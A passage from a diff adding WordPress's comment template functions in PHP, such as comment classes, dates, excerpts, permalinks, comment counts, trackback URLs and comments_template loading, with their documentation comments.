+			$classes[] = 'thread-alt';
+		} else {
+			$classes[] = 'thread-even';
+		}
+		$comment_thread_alt++;
+	}
+
+	$classes[] = "depth-$comment_depth";
+
+	if ( !empty($class) ) {
+		if ( !is_array( $class ) )
+			$class = preg_split('#\s+#', $class);
+		$classes = array_merge($classes, $class);
+	}
+
+	$classes = array_map('esc_attr', $classes);
+
+	/**
+	 * Filters the returned CSS classes for the current comment.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param array       $classes    An array of comment classes.
+	 * @param string      $class      A comma-separated list of additional classes added to the list.
+	 * @param int         $comment_id The comment id.
+	 * @param WP_Comment  $comment    The comment object.
+	 * @param int|WP_Post $post_id    The post ID or WP_Post object.
+	 */
+	return apply_filters( 'comment_class', $classes, $class, $comment->comment_ID, $comment, $post_id );
+}
+
+/**
+ * Retrieve the comment date of the current comment.
+ *
+ * @since 1.5.0
+ * @since 4.4.0 Added the ability for `$comment_ID` to also accept a WP_Comment object.
+ *
+ * @param string          $d          Optional. The format of the date. Default user's setting.
+ * @param int|WP_Comment  $comment_ID WP_Comment or ID of the comment for which to get the date.
+ *                                    Default current comment.
+ * @return string The comment's date.
+ */
+function get_comment_date( $d = '', $comment_ID = 0 ) {
+	$comment = get_comment( $comment_ID );
+	if ( '' == $d )
+		$date = mysql2date(get_option('date_format'), $comment->comment_date);
+	else
+		$date = mysql2date($d, $comment->comment_date);
+	/**
+	 * Filters the returned comment date.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param string|int $date    Formatted date string or Unix timestamp.
+	 * @param string     $d       The format of the date.
+	 * @param WP_Comment $comment The comment object.
+	 */
+	return apply_filters( 'get_comment_date', $date, $d, $comment );
+}
+
+/**
+ * Display the comment date of the current comment.
+ *
+ * @since 0.71
+ * @since 4.4.0 Added the ability for `$comment_ID` to also accept a WP_Comment object.
+ *
+ * @param string         $d          Optional. The format of the date. Default user's settings.
+ * @param int|WP_Comment $comment_ID WP_Comment or ID of the comment for which to print the date.
+ *                                   Default current comment.
+ */
+function comment_date( $d = '', $comment_ID = 0 ) {
+	echo get_comment_date( $d, $comment_ID );
+}
+
+/**
+ * Retrieves the excerpt of the given comment.
+ *
+ * Returns a maximum of 20 words with an ellipsis appended if necessary.
+ *
+ * @since 1.5.0
+ * @since 4.4.0 Added the ability for `$comment_ID` to also accept a WP_Comment object.
+ *
+ * @param int|WP_Comment $comment_ID  WP_Comment or ID of the comment for which to get the excerpt.
+ *                                    Default current comment.
+ * @return string The possibly truncated comment excerpt.
+ */
+function get_comment_excerpt( $comment_ID = 0 ) {
+	$comment = get_comment( $comment_ID );
+
+	if ( ! post_password_required( $comment->comment_post_ID ) ) {
+		$comment_text = strip_tags( str_replace( array( "\n", "\r" ), ' ', $comment->comment_content ) );
+	} else {
+		$comment_text = __( 'Password protected' );
+	}
+
+	/* translators: Maximum number of words used in a comment excerpt. */
+	$comment_excerpt_length = intval( _x( '20', 'comment_excerpt_length' ) );
+
+	/**
+	 * Filters the maximum number of words used in the comment excerpt.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param int $comment_excerpt_length The amount of words you want to display in the comment excerpt.
+	 */
+	$comment_excerpt_length = apply_filters( 'comment_excerpt_length', $comment_excerpt_length );
+
+	$excerpt = wp_trim_words( $comment_text, $comment_excerpt_length, '&hellip;' );
+
+	/**
+	 * Filters the retrieved comment excerpt.
+	 *
+	 * @since 1.5.0
+	 * @since 4.1.0 The `$comment_ID` and `$comment` parameters were added.
+	 *
+	 * @param string     $excerpt    The comment excerpt text.
+	 * @param int        $comment_ID The comment ID.
+	 * @param WP_Comment $comment    The comment object.
+	 */
+	return apply_filters( 'get_comment_excerpt', $excerpt, $comment->comment_ID, $comment );
+}
+
+/**
+ * Display the excerpt of the current comment.
+ *
+ * @since 1.2.0
+ * @since 4.4.0 Added the ability for `$comment_ID` to also accept a WP_Comment object.
+ *
+ * @param int|WP_Comment $comment_ID  WP_Comment or ID of the comment for which to print the excerpt.
+ *                                    Default current comment.
+ */
+function comment_excerpt( $comment_ID = 0 ) {
+	$comment         = get_comment( $comment_ID );
+	$comment_excerpt = get_comment_excerpt( $comment );
+
+	/**
+	 * Filters the comment excerpt for display.
+	 *
+	 * @since 1.2.0
+	 * @since 4.1.0 The `$comment_ID` parameter was added.
+	 *
+	 * @param string $comment_excerpt The comment excerpt text.
+	 * @param int    $comment_ID      The comment ID.
+	 */
+	echo apply_filters( 'comment_excerpt', $comment_excerpt, $comment->comment_ID );
+}
+
+/**
+ * Retrieve the comment id of the current comment.
+ *
+ * @since 1.5.0
+ *
+ * @return int The comment ID.
+ */
+function get_comment_ID() {
+	$comment = get_comment();
+
+	/**
+	 * Filters the returned comment ID.
+	 *
+	 * @since 1.5.0
+	 * @since 4.1.0 The `$comment_ID` parameter was added.
+	 *
+	 * @param int        $comment_ID The current comment ID.
+	 * @param WP_Comment $comment    The comment object.
+	 */
+	return apply_filters( 'get_comment_ID', $comment->comment_ID, $comment );
+}
+
+/**
+ * Display the comment id of the current comment.
+ *
+ * @since 0.71
+ */
+function comment_ID() {
+	echo get_comment_ID();
+}
+
+/**
+ * Retrieve the link to a given comment.
+ *
+ * @since 1.5.0
+ * @since 4.4.0 Added the ability for `$comment` to also accept a WP_Comment object. Added `$cpage` argument.
+ *
+ * @see get_page_of_comment()
+ *
+ * @global WP_Rewrite $wp_rewrite
+ * @global bool       $in_comment_loop
+ *
+ * @param WP_Comment|int|null $comment Comment to retrieve. Default current comment.
+ * @param array               $args {
+ *     An array of optional arguments to override the defaults.
+ *
+ *     @type string     $type      Passed to get_page_of_comment().
+ *     @type int        $page      Current page of comments, for calculating comment pagination.
+ *     @type int        $per_page  Per-page value for comment pagination.
+ *     @type int        $max_depth Passed to get_page_of_comment().
+ *     @type int|string $cpage     Value to use for the comment's "comment-page" or "cpage" value.
+ *                                 If provided, this value overrides any value calculated from `$page`
+ *                                 and `$per_page`.
+ * }
+ * @return string The permalink to the given comment.
+ */
+function get_comment_link( $comment = null, $args = array() ) {
+	global $wp_rewrite, $in_comment_loop;
+
+	$comment = get_comment($comment);
+
+	// Back-compat.
+	if ( ! is_array( $args ) ) {
+		$args = array( 'page' => $args );
+	}
+
+	$defaults = array(
+		'type'      => 'all',
+		'page'      => '',
+		'per_page'  => '',
+		'max_depth' => '',
+		'cpage'     => null,
+	);
+	$args = wp_parse_args( $args, $defaults );
+
+	$link = get_permalink( $comment->comment_post_ID );
+
+	// The 'cpage' param takes precedence.
+	if ( ! is_null( $args['cpage'] ) ) {
+		$cpage = $args['cpage'];
+
+	// No 'cpage' is provided, so we calculate one.
+	} else {
+		if ( '' === $args['per_page'] && get_option( 'page_comments' ) ) {
+			$args['per_page'] = get_option('comments_per_page');
+		}
+
+		if ( empty( $args['per_page'] ) ) {
+			$args['per_page'] = 0;
+			$args['page'] = 0;
+		}
+
+		$cpage = $args['page'];
+
+		if ( '' == $cpage ) {
+			if ( ! empty( $in_comment_loop ) ) {
+				$cpage = get_query_var( 'cpage' );
+			} else {
+				// Requires a database hit, so we only do it when we can't figure out from context.
+				$cpage = get_page_of_comment( $comment->comment_ID, $args );
+			}
+		}
+
+		/*
+		 * If the default page displays the oldest comments, the permalinks for comments on the default page
+		 * do not need a 'cpage' query var.
+		 */
+		if ( 'oldest' === get_option( 'default_comments_page' ) && 1 === $cpage ) {
+			$cpage = '';
+		}
+	}
+
+	if ( $cpage && get_option( 'page_comments' ) ) {
+		if ( $wp_rewrite->using_permalinks() ) {
+			if ( $cpage ) {
+				$link = trailingslashit( $link ) . $wp_rewrite->comments_pagination_base . '-' . $cpage;
+			}
+
+			$link = user_trailingslashit( $link, 'comment' );
+		} elseif ( $cpage ) {
+			$link = add_query_arg( 'cpage', $cpage, $link );
+		}
+
+	}
+
+	if ( $wp_rewrite->using_permalinks() ) {
+		$link = user_trailingslashit( $link, 'comment' );
+	}
+
+	$link = $link . '#comment-' . $comment->comment_ID;
+
+	/**
+	 * Filters the returned single comment permalink.
+	 *
+	 * @since 2.8.0
+	 * @since 4.4.0 Added the `$cpage` parameter.
+	 *
+	 * @see get_page_of_comment()
+	 *
+	 * @param string     $link    The comment permalink with '#comment-$id' appended.
+	 * @param WP_Comment $comment The current comment object.
+	 * @param array      $args    An array of arguments to override the defaults.
+	 * @param int        $cpage   The calculated 'cpage' value.
+	 */
+	return apply_filters( 'get_comment_link', $link, $comment, $args, $cpage );
+}
+
+/**
+ * Retrieves the link to the current post comments.
+ *
+ * @since 1.5.0
+ *
+ * @param int|WP_Post $post_id Optional. Post ID or WP_Post object. Default is global $post.
+ * @return string The link to the comments.
+ */
+function get_comments_link( $post_id = 0 ) {
+	$hash = get_comments_number( $post_id ) ? '#comments' : '#respond';
+	$comments_link = get_permalink( $post_id ) . $hash;
+
+	/**
+	 * Filters the returned post comments permalink.
+	 *
+	 * @since 3.6.0
+	 *
+	 * @param string      $comments_link Post comments permalink with '#comments' appended.
+	 * @param int|WP_Post $post_id       Post ID or WP_Post object.
+	 */
+	return apply_filters( 'get_comments_link', $comments_link, $post_id );
+}
+
+/**
+ * Display the link to the current post comments.
+ *
+ * @since 0.71
+ *
+ * @param string $deprecated   Not Used.
+ * @param string $deprecated_2 Not Used.
+ */
+function comments_link( $deprecated = '', $deprecated_2 = '' ) {
+	if ( !empty( $deprecated ) )
+		_deprecated_argument( __FUNCTION__, '0.72' );
+	if ( !empty( $deprecated_2 ) )
+		_deprecated_argument( __FUNCTION__, '1.3.0' );
+	echo esc_url( get_comments_link() );
+}
+
+/**
+ * Retrieves the amount of comments a post has.
+ *
+ * @since 1.5.0
+ *
+ * @param int|WP_Post $post_id Optional. Post ID or WP_Post object. Default is the global `$post`.
+ * @return string|int If the post exists, a numeric string representing the number of comments
+ *                    the post has, otherwise 0.
+ */
+function get_comments_number( $post_id = 0 ) {
+	$post = get_post( $post_id );
+
+	if ( ! $post ) {
+		$count = 0;
+	} else {
+		$count = $post->comment_count;
+		$post_id = $post->ID;
+	}
+
+	/**
+	 * Filters the returned comment count for a post.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param string|int $count   A string representing the number of comments a post has, otherwise 0.
+	 * @param int        $post_id Post ID.
+	 */
+	return apply_filters( 'get_comments_number', $count, $post_id );
+}
+
+/**
+ * Display the language string for the number of comments the current post has.
+ *
+ * @since 0.71
+ *
+ * @param string $zero       Optional. Text for no comments. Default false.
+ * @param string $one        Optional. Text for one comment. Default false.
+ * @param string $more       Optional. Text for more than one comment. Default false.
+ * @param string $deprecated Not used.
+ */
+function comments_number( $zero = false, $one = false, $more = false, $deprecated = '' ) {
+	if ( ! empty( $deprecated ) ) {
+		_deprecated_argument( __FUNCTION__, '1.3.0' );
+	}
+	echo get_comments_number_text( $zero, $one, $more );
+}
+
+/**
+ * Display the language string for the number of comments the current post has.
+ *
+ * @since 4.0.0
+ *
+ * @param string $zero Optional. Text for no comments. Default false.
+ * @param string $one  Optional. Text for one comment. Default false.
+ * @param string $more Optional. Text for more than one comment. Default false.
+ */
+function get_comments_number_text( $zero = false, $one = false, $more = false ) {
+	$number = get_comments_number();
+
+	if ( $number > 1 ) {
+		if ( false === $more ) {
+			/* translators: %s: number of comments */
+			$output = sprintf( _n( '%s Comment', '%s Comments', $number ), number_format_i18n( $number ) );
+		} else {
+			// % Comments
+			/* translators: If comment number in your language requires declension,
+			 * translate this to 'on'. Do not translate into your own language.
+			 */
+			if ( 'on' === _x( 'off', 'Comment number declension: on or off' ) ) {
+				$text = preg_replace( '#<span class="screen-reader-text">.+?</span>#', '', $more );
+				$text = preg_replace( '/&.+?;/', '', $text ); // Kill entities
+				$text = trim( strip_tags( $text ), '% ' );
+
+				// Replace '% Comments' with a proper plural form
+				if ( $text && ! preg_match( '/[0-9]+/', $text ) && false !== strpos( $more, '%' ) ) {
+					/* translators: %s: number of comments */
+					$new_text = _n( '%s Comment', '%s Comments', $number );
+					$new_text = trim( sprintf( $new_text, '' ) );
+
+					$more = str_replace( $text, $new_text, $more );
+					if ( false === strpos( $more, '%' ) ) {
+						$more = '% ' . $more;
+					}
+				}
+			}
+
+			$output = str_replace( '%', number_format_i18n( $number ), $more );
+		}
+	} elseif ( $number == 0 ) {
+		$output = ( false === $zero ) ? __( 'No Comments' ) : $zero;
+	} else { // must be one
+		$output = ( false === $one ) ? __( '1 Comment' ) : $one;
+	}
+	/**
+	 * Filters the comments count for display.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @see _n()
+	 *
+	 * @param string $output A translatable string formatted based on whether the count
+	 *                       is equal to 0, 1, or 1+.
+	 * @param int    $number The number of post comments.
+	 */
+	return apply_filters( 'comments_number', $output, $number );
+}
+
+/**
+ * Retrieve the text of the current comment.
+ *
+ * @since 1.5.0
+ * @since 4.4.0 Added the ability for `$comment_ID` to also accept a WP_Comment object.
+ *
+ * @see Walker_Comment::comment()
+ *
+ * @param int|WP_Comment  $comment_ID WP_Comment or ID of the comment for which to get the text.
+ *                                    Default current comment.
+ * @param array           $args       Optional. An array of arguments. Default empty.
+ * @return string The comment content.
+ */
+function get_comment_text( $comment_ID = 0, $args = array() ) {
+	$comment = get_comment( $comment_ID );
+
+	/**
+	 * Filters the text of a comment.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @see Walker_Comment::comment()
+	 *
+	 * @param string     $comment_content Text of the comment.
+	 * @param WP_Comment $comment         The comment object.
+	 * @param array      $args            An array of arguments.
+	 */
+	return apply_filters( 'get_comment_text', $comment->comment_content, $comment, $args );
+}
+
+/**
+ * Display the text of the current comment.
+ *
+ * @since 0.71
+ * @since 4.4.0 Added the ability for `$comment_ID` to also accept a WP_Comment object.
+ *
+ * @see Walker_Comment::comment()
+ *
+ * @param int|WP_Comment  $comment_ID WP_Comment or ID of the comment for which to print the text.
+ *                                    Default current comment.
+ * @param array           $args       Optional. An array of arguments. Default empty array. Default empty.
+ */
+function comment_text( $comment_ID = 0, $args = array() ) {
+	$comment = get_comment( $comment_ID );
+
+	$comment_text = get_comment_text( $comment, $args );
+	/**
+	 * Filters the text of a comment to be displayed.
+	 *
+	 * @since 1.2.0
+	 *
+	 * @see Walker_Comment::comment()
+	 *
+	 * @param string          $comment_text Text of the current comment.
+	 * @param WP_Comment|null $comment      The comment object.
+	 * @param array           $args         An array of arguments.
+	 */
+	echo apply_filters( 'comment_text', $comment_text, $comment, $args );
+}
+
+/**
+ * Retrieve the comment time of the current comment.
+ *
+ * @since 1.5.0
+ *
+ * @param string $d         Optional. The format of the time. Default user's settings.
+ * @param bool   $gmt       Optional. Whether to use the GMT date. Default false.
+ * @param bool   $translate Optional. Whether to translate the time (for use in feeds).
+ *                          Default true.
+ * @return string The formatted time.
+ */
+function get_comment_time( $d = '', $gmt = false, $translate = true ) {
+	$comment = get_comment();
+
+	$comment_date = $gmt ? $comment->comment_date_gmt : $comment->comment_date;
+	if ( '' == $d )
+		$date = mysql2date(get_option('time_format'), $comment_date, $translate);
+	else
+		$date = mysql2date($d, $comment_date, $translate);
+
+	/**
+	 * Filters the returned comment time.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param string|int $date      The comment time, formatted as a date string or Unix timestamp.
+	 * @param string     $d         Date format.
+	 * @param bool       $gmt       Whether the GMT date is in use.
+	 * @param bool       $translate Whether the time is translated.
+	 * @param WP_Comment $comment   The comment object.
+	 */
+	return apply_filters( 'get_comment_time', $date, $d, $gmt, $translate, $comment );
+}
+
+/**
+ * Display the comment time of the current comment.
+ *
+ * @since 0.71
+ *
+ * @param string $d Optional. The format of the time. Default user's settings.
+ */
+function comment_time( $d = '' ) {
+	echo get_comment_time($d);
+}
+
+/**
+ * Retrieve the comment type of the current comment.
+ *
+ * @since 1.5.0
+ * @since 4.4.0 Added the ability for `$comment_ID` to also accept a WP_Comment object.
+ *
+ * @param int|WP_Comment $comment_ID Optional. WP_Comment or ID of the comment for which to get the type.
+ *                                   Default current comment.
+ * @return string The comment type.
+ */
+function get_comment_type( $comment_ID = 0 ) {
+	$comment = get_comment( $comment_ID );
+	if ( '' == $comment->comment_type )
+		$comment->comment_type = 'comment';
+
+	/**
+	 * Filters the returned comment type.
+	 *
+	 * @since 1.5.0
+	 * @since 4.1.0 The `$comment_ID` and `$comment` parameters were added.
+	 *
+	 * @param string     $comment_type The type of comment, such as 'comment', 'pingback', or 'trackback'.
+	 * @param int 	     $comment_ID   The comment ID.
+	 * @param WP_Comment $comment      The comment object.
+	 */
+	return apply_filters( 'get_comment_type', $comment->comment_type, $comment->comment_ID, $comment );
+}
+
+/**
+ * Display the comment type of the current comment.
+ *
+ * @since 0.71
+ *
+ * @param string $commenttxt   Optional. String to display for comment type. Default false.
+ * @param string $trackbacktxt Optional. String to display for trackback type. Default false.
+ * @param string $pingbacktxt  Optional. String to display for pingback type. Default false.
+ */
+function comment_type( $commenttxt = false, $trackbacktxt = false, $pingbacktxt = false ) {
+	if ( false === $commenttxt ) $commenttxt = _x( 'Comment', 'noun' );
+	if ( false === $trackbacktxt ) $trackbacktxt = __( 'Trackback' );
+	if ( false === $pingbacktxt ) $pingbacktxt = __( 'Pingback' );
+	$type = get_comment_type();
+	switch( $type ) {
+		case 'trackback' :
+			echo $trackbacktxt;
+			break;
+		case 'pingback' :
+			echo $pingbacktxt;
+			break;
+		default :
+			echo $commenttxt;
+	}
+}
+
+/**
+ * Retrieve The current post's trackback URL.
+ *
+ * There is a check to see if permalink's have been enabled and if so, will
+ * retrieve the pretty path. If permalinks weren't enabled, the ID of the
+ * current post is used and appended to the correct page to go to.
+ *
+ * @since 1.5.0
+ *
+ * @return string The trackback URL after being filtered.
+ */
+function get_trackback_url() {
+	if ( '' != get_option('permalink_structure') )
+		$tb_url = trailingslashit(get_permalink()) . user_trailingslashit('trackback', 'single_trackback');
+	else
+		$tb_url = get_option('siteurl') . '/wp-trackback.php?p=' . get_the_ID();
+
+	/**
+	 * Filters the returned trackback URL.
+	 *
+	 * @since 2.2.0
+	 *
+	 * @param string $tb_url The trackback URL.
+	 */
+	return apply_filters( 'trackback_url', $tb_url );
+}
+
+/**
+ * Display the current post's trackback URL.
+ *
+ * @since 0.71
+ *
+ * @param bool $deprecated_echo Not used.
+ * @return void|string Should only be used to echo the trackback URL, use get_trackback_url()
+ *                     for the result instead.
+ */
+function trackback_url( $deprecated_echo = true ) {
+	if ( true !== $deprecated_echo ) {
+		_deprecated_argument( __FUNCTION__, '2.5.0',
+			/* translators: %s: get_trackback_url() */
+			sprintf( __( 'Use %s instead if you do not want the value echoed.' ),
+				'<code>get_trackback_url()</code>'
+			)
+		);
+	}
+
+	if ( $deprecated_echo ) {
+		echo get_trackback_url();
+	} else {
+		return get_trackback_url();
+	}
+}
+
+/**
+ * Generate and display the RDF for the trackback information of current post.
+ *
+ * Deprecated in 3.0.0, and restored in 3.0.1.
+ *
+ * @since 0.71
+ *
+ * @param int $deprecated Not used (Was $timezone = 0).
+ */
+function trackback_rdf( $deprecated = '' ) {
+	if ( ! empty( $deprecated ) ) {
+		_deprecated_argument( __FUNCTION__, '2.5.0' );
+	}
+
+	if ( isset( $_SERVER['HTTP_USER_AGENT'] ) && false !== stripos( $_SERVER['HTTP_USER_AGENT'], 'W3C_Validator' ) ) {
+		return;
+	}
+
+	echo '<rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+			xmlns:dc="http://purl.org/dc/elements/1.1/"
+			xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/">
+		<rdf:Description rdf:about="';
+	the_permalink();
+	echo '"'."\n";
+	echo '    dc:identifier="';
+	the_permalink();
+	echo '"'."\n";
+	echo '    dc:title="'.str_replace('--', '&#x2d;&#x2d;', wptexturize(strip_tags(get_the_title()))).'"'."\n";
+	echo '    trackback:ping="'.get_trackback_url().'"'." />\n";
+	echo '</rdf:RDF>';
+}
+
+/**
+ * Determines whether the current post is open for comments.
+ * 
+ * For more information on this and similar theme functions, check out
+ * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ 
+ * Conditional Tags} article in the Theme Developer Handbook.
+ * 
+ * @since 1.5.0
+ *
+ * @param int|WP_Post $post_id Post ID or WP_Post object. Default current post.
+ * @return bool True if the comments are open.
+ */
+function comments_open( $post_id = null ) {
+
+	$_post = get_post($post_id);
+
+	$post_id = $_post ? $_post->ID : 0;
+	$open = ( 'open' == $_post->comment_status );
+
+	/**
+	 * Filters whether the current post is open for comments.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param bool $open    Whether the current post is open for comments.
+	 * @param int  $post_id The post ID.
+	 */
+	return apply_filters( 'comments_open', $open, $post_id );
+}
+
+/**
+ * Determines whether the current post is open for pings.
+ * 
+ * For more information on this and similar theme functions, check out
+ * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ 
+ * Conditional Tags} article in the Theme Developer Handbook.
+ *
+ * @since 1.5.0
+ *
+ * @param int|WP_Post $post_id Post ID or WP_Post object. Default current post.
+ * @return bool True if pings are accepted
+ */
+function pings_open( $post_id = null ) {
+
+	$_post = get_post($post_id);
+
+	$post_id = $_post ? $_post->ID : 0;
+	$open = ( 'open' == $_post->ping_status );
+
+	/**
+	 * Filters whether the current post is open for pings.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param bool $open    Whether the current post is open for pings.
+	 * @param int  $post_id The post ID.
+	 */
+	return apply_filters( 'pings_open', $open, $post_id );
+}
+
+/**
+ * Display form token for unfiltered comments.
+ *
+ * Will only display nonce token if the current user has permissions for
+ * unfiltered html. Won't display the token for other users.
+ *
+ * The function was backported to 2.0.10 and was added to versions 2.1.3 and
+ * above. Does not exist in versions prior to 2.0.10 in the 2.0 branch and in
+ * the 2.1 branch, prior to 2.1.3. Technically added in 2.2.0.
+ *
+ * Backported to 2.0.10.
+ *
+ * @since 2.1.3
+ */
+function wp_comment_form_unfiltered_html_nonce() {
+	$post = get_post();
+	$post_id = $post ? $post->ID : 0;
+
+	if ( current_user_can( 'unfiltered_html' ) ) {
+		wp_nonce_field( 'unfiltered-html-comment_' . $post_id, '_wp_unfiltered_html_comment_disabled', false );
+		echo "<script>(function(){if(window===window.parent){document.getElementById('_wp_unfiltered_html_comment_disabled').name='_wp_unfiltered_html_comment';}})();</script>\n";
+	}
+}
+
+/**
+ * Load the comment template specified in $file.
+ *
+ * Will not display the comments template if not on single post or page, or if
+ * the post does not have comments.
+ *
+ * Uses the WordPress database object to query for the comments. The comments
+ * are passed through the {@see 'comments_array'} filter hook with the list of comments
+ * and the post ID respectively.
+ *
+ * The `$file` path is passed through a filter hook called {@see 'comments_template'},
+ * which includes the TEMPLATEPATH and $file combined. Tries the $filtered path
+ * first and if it fails it will require the default comment template from the
+ * default theme. If either does not exist, then the WordPress process will be
+ * halted. It is advised for that reason, that the default theme is not deleted.
+ *
+ * Will not try to get the comments if the post has none.
+ *
+ * @since 1.5.0
+ *
+ * @global WP_Query   $wp_query
+ * @global WP_Post    $post
+ * @global wpdb       $wpdb
+ * @global int        $id
+ * @global WP_Comment $comment
+ * @global string     $user_login
+ * @global int        $user_ID
+ * @global string     $user_identity
+ * @global bool       $overridden_cpage
+ * @global bool       $withcomments
+ *
+ * @param string $file              Optional. The file to load. Default '/comments.php'.
+ * @param bool   $separate_comments Optional. Whether to separate the comments by comment type.
+ *                                  Default false.
+ */
+function comments_template( $file = '/comments.php', $separate_comments = false ) {
+	global $wp_query, $withcomments, $post, $wpdb, $id, $comment, $user_login, $user_ID, $user_identity, $overridden_cpage;
+
+	if ( !(is_single() || is_page() || $withcomments) || empty($post) )
+		return;
+
+	if ( empty($file) )
+		$file = '/comments.php';
+
+	$req = get_option('require_name_email');
+
+	/*
+	 * Comment author information fetched from the comment cookies.
+	 */
+	$commenter = wp_get_current_commenter();
+
+	/*
+	 * The name of the current comment author escaped for use in attributes.
+	 * Escaped by sanitize_comment_cookies().
+	 */
+	$comment_author = $commenter['comment_author'];
+
+	/*
+	 * The email address of the current comment author escaped for use in attributes.
+	 * Escaped by sanitize_comment_cookies().
+	 */
+	$comment_author_email = $commenter['comment_author_email'];
+
+	/*
+	 * The url of the current comment author escaped for use in attributes.
+	 */
+	$comment_author_url = esc_url($commenter['comment_author_url']);
+
+	$comment_args = array(
+		'orderby' => 'comment_date_gmt',
+		'order' => 'ASC',
+		'status'  => 'approve',
+		'post_id' => $post->ID,
+		'no_found_rows' => false,
+		'update_comment_meta_cache' => false, // We lazy-load comment meta for performance.
+	);
+
+	if ( get_option('thread_comments') ) {
+		$comment_args['hierarchical'] = 'threaded';
+	} else {
+		$comment_args['hierarchical'] = false;
+	}
+
+	if ( $user_ID ) {
+		$comment_args['include_unapproved'] = array( $user_ID );
+	} elseif ( ! empty( $comment_author_email ) ) {
+		$comment_args['include_unapproved'] = array( $comment_author_email );
+	}
+
+	$per_page = 0;
+	if ( get_option( 'page_comments' ) ) {
+		$per_page = (int) get_query_var( 'comments_per_page' );
+		if ( 0 === $per_page ) {
+			$per_page = (int) get_option( 'comments_per_page' );
+		}
+
+		$comment_args['number'] = $per_page;
+		$page = (int) get_query_var( 'cpage' );
+
+		if ( $page ) {
+			$comment_args['offset'] = ( $page - 1 ) * $per_page;
+		} elseif ( 'oldest' === get_option( 'default_comments_page' ) ) {
+			$comment_args['offset'] = 0;
+		} else {
+			// If fetching the first page of 'newest', we need a top-level comment count.
+			$top_level_query = new WP_Comment_Query();
+			$top_level_args  = array(
+				'count'   => true,
+				'orderby' => false,
+				'post_id' => $post->ID,
+				'status'  => 'approve',
+			);
+
+			if ( $comment_args['hierarchical'] ) {
+				$top_level_args['parent'] = 0;
+			}
+
+			if ( isset( $comment_args['include_unapproved'] ) ) {
+				$top_level_args['include_unapproved'] = $comment_args['include_unapproved'];
+			}
+
+			$top_level_count = $top_level_query->query( $top_level_args );
+
+			$comment_args['offset'] = ( ceil( $top_level_count / $per_page ) - 1 ) * $per_page;
+		}
+	}
+
+	/**
+	 * Filters the arguments used to query comments in comments_template().
+	 *
+	 * @since 4.5.0
+	 *
+	 * @see WP_Comment_Query::__construct()
+	 *
+	 * @param array $comment_args {
+	 *     Array of WP_Comment_Query arguments.
+	 *
+	 *     @type string|array $orderby                   Field(s) to order by.
+	 *     @type string       $order                     Order of results. Accepts 'ASC' or 'DESC'.
+	 *     @type string       $status                    Comment status.
+	 *     @type array        $include_unapproved        Array of IDs or email addresses whose unapproved comments
+	 *                                                   will be included in results.
+	 *     @type int          $post_id                   ID of the post.
+	 *     @type bool         $no_found_rows             Whether to refrain from querying for found rows.
+	 *     @type bool         $update_comment_meta_cache Whether to prime cache for comment meta.
+	 *     @type bool|string  $hierarchical              Whether to query for comments hierarchically.
+	 *     @type int          $offset                    Comment offset.
+	 *     @type int          $number                    Number of comments to fetch.
+	 * }
+	 */
+	$comment_args = apply_filters( 'comments_template_query_args', $comment_args );
+	$comment_query = new WP_Comment_Query( $comment_args );
+	$_comments = $comment_query->comments;
+
+	// Trees must be flattened before they're passed to the walker.
+	if ( $comment_args['hierarchical'] ) {
+		$comments_flat = array();
+		foreach ( $_comments as $_comment ) {
+			$comments_flat[]  = $_comment;
+			$comment_children = $_comment->get_children( array(
+				'format' => 'flat',
+				'status' => $comment_args['status'],
+				'orderby' => $comment_args['orderby']
+			) );
+
+			foreach ( $comment_children as $comment_child ) {
+				$comments_flat[] = $comment_child;
+			}
+		}
+	} else {
+		$comments_flat = $_comments;
+	}
+
+	/**
+	 * Filters the comments array.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param array $comments Array of comments supplied to the comments template.
+	 * @param int   $post_ID  Post ID.
+	 */
+	$wp_query->comments = apply_filters( 'comments_array', $comments_flat, $post->ID );
+
+	$comments = &$wp_query->comments;
+	$wp_query->comment_count = count($wp_query->comments);
+	$wp_query->max_num_comment_pages = $comment_query->max_num_pages;
+
+	if ( $separate_comments ) {
+		$wp_query->comments_by_type = separate_comments($comments);
+		$comments_by_type = &$wp_query->comments_by_type;
+	} else {
+		$wp_query->comments_by_type = array();
+	}
+
+	$overridden_cpage = false;
+	if ( '' == get_query_var( 'cpage' ) && $wp_query->max_num_comment_pages > 1 ) {
+		set_query_var( 'cpage', 'newest' == get_option('default_comments_page') ? get_comment_pages_count() : 1 );
+		$overridden_cpage = true;
+	}
+
+	if ( !defined('COMMENTS_TEMPLATE') )
+		define('COMMENTS_TEMPLATE', true);
+
+	$theme_template = STYLESHEETPATH . $file;
+	/**
+	 * Filters the path to the theme template file used for the comments template.
+	 *
+	 * @since 1.5.1
+	 *
+	 * @param string $theme_template The path to the theme template file.
+	 */
+	$include = apply_filters( 'comments_template', $theme_template );
+	if ( file_exists( $include ) )
+		require( $include );
+	elseif ( file_exists( TEMPLATEPATH . $file ) )
+		require( TEMPLATEPATH . $file );
+	else // Backward compat code will be removed in a future release
+		require( ABSPATH . WPINC . '/theme-compat/comments.php');
+}
+
+/**
+ * Displays the link to the comments for the current post ID.
+ *
+ * @since 0.71
+ *
+ * @param string $zero      Optional. String to display when no comments. Default false.
+ * @param string $one       Optional. String to display when only one comment is available.
+ *                          Default false.
+ * @param string $more      Optional. String to display when there are more than one comment.
+ *                          Default false.
+ * @param string $css_class Optional. CSS class to use for comments. Default empty.
+ * @param string $none      Optional. String to display when comments have been turned off.
+ *                          Default false.
+ */
+function comments_popup_link( $zero = false, $one = false, $more = false, $css_class = '', $none = false ) {
+	$id = get_the_ID();
+	$title = get_the_title();
+	$number = get_comments_number( $id );
+
+	if ( false === $zero ) {
+		/* translators: %s: post title */
+		$zero = sprintf( __( 'No Comments<span class="screen-reader-text"> on %s</span>' ), $title );
+	}
+
+	if ( false === $one ) {
+		/* translators: %s: post title */
+		$one = sprintf( __( '1 Comment<span class="screen-reader-text"> on %s</span>' ), $title );
+	}
+
+	if ( false === $more ) {
+		/* translators: 1: Number of comments 2: post title */
